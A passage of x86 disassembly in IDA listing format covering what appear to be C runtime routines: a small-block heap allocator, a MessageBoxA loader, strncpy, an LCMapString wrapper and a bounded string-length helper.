		push	ds:dword_407328
		call	ds:dword_405084	; RtlFreeHeap
		mov	eax, ds:dword_4070F8
		mov	edx, ds:dword_4070FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_4070F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404970
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4070F8
		cmp	eax, ds:dword_4070F4
		jbe	short loc_40409D
		sub	eax, 14h


loc_40409D:				; CODE XREF: sub_403D93+305j
		mov	ecx, ds:dword_4070FC
		mov	ds:dword_4070F0, ecx
		jmp	short loc_4040AE
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_403D93+233j
					; sub_403D93+2AAj
		mov	eax, [ebp+arg_0]


loc_4040AE:				; CODE XREF: sub_403D93+316j
		mov	ds:dword_4070F4, eax
		mov	ds:dword_4070EC, esi


loc_4040B9:				; CODE XREF: sub_403D93+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403D93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040BE	proc near		; CODE XREF: sub_403CF4+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4070F8
		mov	edx, ds:dword_4070FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_4040FE
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_40410E
; ---------------------------------------------------------------------------


loc_4040FE:				; CODE XREF: sub_4040BE+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_40410E:				; CODE XREF: sub_4040BE+3Ej
		mov	eax, ds:dword_4070F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_404135


loc_40411C:				; CODE XREF: sub_4040BE+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404135
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_40411C


loc_404135:				; CODE XREF: sub_4040BE+5Cj
					; sub_4040BE+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4041B3
		mov	ebx, edx


loc_40413C:				; CODE XREF: sub_4040BE+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404158
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404156
		add	ebx, 14h
		jmp	short loc_40413C
; ---------------------------------------------------------------------------


loc_404156:				; CODE XREF: sub_4040BE+91j
		cmp	ebx, eax


loc_404158:				; CODE XREF: sub_4040BE+83j
		jnz	short loc_4041B3


loc_40415A:				; CODE XREF: sub_4040BE+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_404170
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_40416D
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_40415A
; ---------------------------------------------------------------------------


loc_40416D:				; CODE XREF: sub_4040BE+A5j
		cmp	ebx, [ebp+var_4]


loc_404170:				; CODE XREF: sub_4040BE+9Fj
		jnz	short loc_404198
		mov	ebx, edx


loc_404174:				; CODE XREF: sub_4040BE+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_404188
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_404186
		add	ebx, 14h
		jmp	short loc_404174
; ---------------------------------------------------------------------------


loc_404186:				; CODE XREF: sub_4040BE+C1j
		cmp	ebx, eax


loc_404188:				; CODE XREF: sub_4040BE+BBj
		jnz	short loc_404198
		call	sub_4043C7
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4041AC


loc_404198:				; CODE XREF: sub_4040BE:loc_404170j
					; sub_4040BE:loc_404188j
		push	ebx
		call	sub_404478
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4041B3


loc_4041AC:				; CODE XREF: sub_4040BE+D8j
		xor	eax, eax
		jmp	loc_4043C2
; ---------------------------------------------------------------------------


loc_4041B3:				; CODE XREF: sub_4040BE+7Aj
					; sub_4040BE:loc_404158j ...
		mov	ds:dword_4070F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_4041DA
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_404211


loc_4041DA:				; CODE XREF: sub_4040BE+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_40420E


loc_4041F7:				; CODE XREF: sub_4040BE+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_4041F7


loc_40420E:				; CODE XREF: sub_4040BE+137j
		mov	edx, [ebp+var_4]


loc_404211:				; CODE XREF: sub_4040BE+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_40423A
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_40423A:				; CODE XREF: sub_4040BE+16Dj
					; sub_4040BE+183j
		test	ecx, ecx
		jl	short loc_404243
		shl	ecx, 1
		inc	edi
		jmp	short loc_40423A
; ---------------------------------------------------------------------------


loc_404243:				; CODE XREF: sub_4040BE+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_404260
		push	3Fh
		pop	esi


loc_404260:				; CODE XREF: sub_4040BE+19Dj
		cmp	esi, edi
		jz	loc_404375
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4042D1
		cmp	edi, 20h
		jge	short loc_4042A0
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_4042CE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------


loc_4042A0:				; CODE XREF: sub_4040BE+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_4042CE
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------


loc_4042CE:				; CODE XREF: sub_4040BE+1D6j
					; sub_4040BE+203j
		mov	ebx, [ebp+arg_0]


loc_4042D1:				; CODE XREF: sub_4040BE+1B0j
					; sub_4040BE+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_404381
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_404372
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_404343
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_404331
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_404331:				; CODE XREF: sub_4040BE+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_404372
; ---------------------------------------------------------------------------


loc_404343:				; CODE XREF: sub_4040BE+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40435C
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_40435C:				; CODE XREF: sub_4040BE+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_404372:				; CODE XREF: sub_4040BE+24Ej
					; sub_4040BE+283j
		mov	ecx, [ebp+var_8]


loc_404375:				; CODE XREF: sub_4040BE+1A4j
		test	ecx, ecx
		jz	short loc_404384
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_404384
; ---------------------------------------------------------------------------


loc_404381:				; CODE XREF: sub_4040BE+229j
		mov	ecx, [ebp+var_8]


loc_404384:				; CODE XREF: sub_4040BE+2B9j
					; sub_4040BE+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4043BA
		cmp	ebx, ds:dword_4070F4
		jnz	short loc_4043BA
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4070EC
		jnz	short loc_4043BA
		and	ds:dword_4070F4, 0


loc_4043BA:				; CODE XREF: sub_4040BE+2E0j
					; sub_4040BE+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_4043C2:				; CODE XREF: sub_4040BE+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4040BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4043C7	proc near		; CODE XREF: sub_4040BE+CCp
		mov	eax, ds:dword_4070F8
		mov	ecx, ds:dword_4070E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_40440A
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4070FC
		push	edi
		push	ds:dword_407328
		call	ds:dword_405058	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_40445A
		add	ds:dword_4070E8, 10h
		mov	ds:dword_4070FC, eax
		mov	eax, ds:dword_4070F8


loc_40440A:				; CODE XREF: sub_4043C7+11j
		mov	ecx, ds:dword_4070FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_407328
		lea	esi, [ecx+eax*4]
		call	ds:dword_405060	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_40445A
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_40505C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_40445E
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_407328
		call	ds:dword_405084	; RtlFreeHeap


loc_40445A:				; CODE XREF: sub_4043C7+30j
					; sub_4043C7+67j
		xor	eax, eax
		jmp	short loc_404475
; ---------------------------------------------------------------------------


loc_40445E:				; CODE XREF: sub_4043C7+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4070F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_404475:				; CODE XREF: sub_4043C7+95j
		pop	edi
		pop	esi
		retn
sub_4043C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404478	proc near		; CODE XREF: sub_4040BE+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_40448A:				; CODE XREF: sub_404478+19j
		test	eax, eax
		jl	short loc_404493
		shl	eax, 1
		inc	ebx
		jmp	short loc_40448A
; ---------------------------------------------------------------------------


loc_404493:				; CODE XREF: sub_404478+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4044A8:				; CODE XREF: sub_404478+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4044A8
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_40505C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4044DB
		or	eax, 0FFFFFFFFh
		jmp	loc_40456E
; ---------------------------------------------------------------------------


loc_4044DB:				; CODE XREF: sub_404478+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_404521
		lea	eax, [edi+10h]


loc_4044E8:				; CODE XREF: sub_404478+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_4044E8


loc_404521:				; CODE XREF: sub_404478+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_40455E
		or	[eax+4], edi


loc_40455E:				; CODE XREF: sub_404478+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_40456E:				; CODE XREF: sub_404478+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404478	endp


; =============== S U B	R O U T	I N E =======================================



sub_404573	proc near		; CODE XREF: sub_4035C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4070B0, ebx
		push	esi
		push	edi
		jnz	short loc_4045C2
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_405014	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4045F8
		mov	esi, ds:dword_405054
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	ds:dword_4070B0, eax
		jz	short loc_4045F8
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4070B4, eax
		call	esi	; GetProcAddress
		mov	ds:dword_4070B8, eax


loc_4045C2:				; CODE XREF: sub_404573+Bj
		mov	eax, ds:dword_4070B4
		test	eax, eax
		jz	short loc_4045E1
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4045E1
		mov	eax, ds:dword_4070B8
		test	eax, eax
		jz	short loc_4045E1
		push	ebx
		call	eax
		mov	ebx, eax


loc_4045E1:				; CODE XREF: sub_404573+56j
					; sub_404573+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_4070B0


loc_4045F4:				; CODE XREF: sub_404573+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4045F8:				; CODE XREF: sub_404573+1Cj
					; sub_404573+33j
		xor	eax, eax
		jmp	short loc_4045F4
sub_404573	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404600	proc near		; CODE XREF: sub_4035C9+C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_404683
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_404624
		shr	ecx, 2
		jnz	short loc_404691
		jmp	short loc_404645
; ---------------------------------------------------------------------------


loc_404624:				; CODE XREF: sub_404600+1Bj
					; sub_404600+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_404652
		test	al, al
		jz	short loc_40465A
		test	esi, 3
		jnz	short loc_404624
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_404691


loc_404640:				; CODE XREF: sub_404600+8Fj
		and	ebx, 3
		jz	short loc_404652


loc_404645:				; CODE XREF: sub_404600+22j
					; sub_404600+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_40467E
		dec	ebx
		jnz	short loc_404645


loc_404652:				; CODE XREF: sub_404600+2Bj
					; sub_404600+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40465A:				; CODE XREF: sub_404600+2Fj
		test	edi, 3
		jz	short loc_404674


loc_404662:				; CODE XREF: sub_404600+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4046F6
		test	edi, 3
		jnz	short loc_404662


loc_404674:				; CODE XREF: sub_404600+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4046E7


loc_40467B:				; CODE XREF: sub_404600+7Fj
					; sub_404600+F4j
		mov	[edi], al
		inc	edi


loc_40467E:				; CODE XREF: sub_404600+4Dj
		dec	ebx
		jnz	short loc_40467B
		pop	ebx
		pop	esi


loc_404683:				; CODE XREF: sub_404600+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_404689:				; CODE XREF: sub_404600+A9j
					; sub_404600+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_404640


loc_404691:				; CODE XREF: sub_404600+20j
					; sub_404600+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_404689
		test	dl, dl
		jz	short loc_4046DB
		test	dh, dh
		jz	short loc_4046D1
		test	edx, 0FF0000h
		jz	short loc_4046C7
		test	edx, 0FF000000h
		jnz	short loc_404689
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046C7:				; CODE XREF: sub_404600+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_404600+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4046DF
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_404600+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4046DF:				; CODE XREF: sub_404600+C5j
					; sub_404600+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4046F1


loc_4046E7:				; CODE XREF: sub_404600+79j
		xor	eax, eax


loc_4046E9:				; CODE XREF: sub_404600+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4046E9


loc_4046F1:				; CODE XREF: sub_404600+E5j
		and	ebx, 3
		jnz	short loc_40467B


loc_4046F6:				; CODE XREF: sub_404600+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_404600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046FE	proc near		; CODE XREF: sub_403AE6+BEp
					; sub_403AE6+E6p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405470
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_4070DC, edi
		jnz	short loc_404774
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_405424
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_405098	; LCMapStringW
		test	eax, eax
		jz	short loc_404752
		mov	ds:dword_4070DC, ebx
		jmp	short loc_404774
; ---------------------------------------------------------------------------


loc_404752:				; CODE XREF: sub_4046FE+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_406F38
		push	esi
		push	edi
		call	ds:dword_40509C	; LCMapStringA
		test	eax, eax
		jz	loc_40488C
		mov	ds:dword_4070DC, 2


loc_404774:				; CODE XREF: sub_4046FE+2Ej
					; sub_4046FE+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_404789
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_404922
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_404789:				; CODE XREF: sub_4046FE+79j
		mov	eax, ds:dword_4070DC
		cmp	eax, 2
		jnz	short loc_4047B0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_40509C	; LCMapStringA
		jmp	loc_40488E
; ---------------------------------------------------------------------------


loc_4047B0:				; CODE XREF: sub_4046FE+93j
		cmp	eax, 1
		jnz	loc_40488C
		cmp	[ebp+arg_18], edi
		jnz	short loc_4047C6
		mov	eax, ds:dword_4070D4
		mov	[ebp+arg_18], eax


loc_4047C6:				; CODE XREF: sub_4046FE+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_405078	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_40488C
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_404821
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_404821:				; CODE XREF: sub_4046FE+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_40488C
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_405078	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_40488C
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_405098	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_40488C
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4048A0
		cmp	[ebp+arg_14], edi
		jz	loc_40491B
		cmp	esi, [ebp+arg_14]
		jg	short loc_40488C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_405098	; LCMapStringW
		test	eax, eax
		jnz	loc_40491B


loc_40488C:				; CODE XREF: sub_4046FE+66j
					; sub_4046FE+B5j ...
		xor	eax, eax


loc_40488E:				; CODE XREF: sub_4046FE+ADj
					; sub_4046FE+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4048A0:				; CODE XREF: sub_4046FE+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4025D0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4048D4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4048D4:				; CODE XREF: sub_4046FE+1C2j
		cmp	ebx, edi
		jz	short loc_40488C
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_405098	; LCMapStringW
		test	eax, eax
		jz	short loc_40488C
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4048FB
		push	edi
		push	edi
		jmp	short loc_404901
; ---------------------------------------------------------------------------


loc_4048FB:				; CODE XREF: sub_4046FE+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_404901:				; CODE XREF: sub_4046FE+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_4050C8	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_40488C


loc_40491B:				; CODE XREF: sub_4046FE+165j
					; sub_4046FE+188j
		mov	eax, esi
		jmp	loc_40488E
sub_4046FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404922	proc near		; CODE XREF: sub_4046FE+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_40493F


loc_404932:				; CODE XREF: sub_404922+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_40493F
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_404932


loc_40493F:				; CODE XREF: sub_404922+Ej
					; sub_404922+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_40494A
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_40494A:				; CODE XREF: sub_404922+21j
		mov	eax, edx
		retn
sub_404922	endp


; =============== S U B	R O U T	I N E =======================================



sub_40494D	proc near		; CODE XREF: sub_403CC8+1Fp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4070E4
		test	eax, eax
		jz	short loc_404965
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_404965
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_404965:				; CODE XREF: sub_40494D+7j
					; sub_40494D+12j
		xor	eax, eax
		retn
sub_40494D	endp

; ---------------------------------------------------------------------------
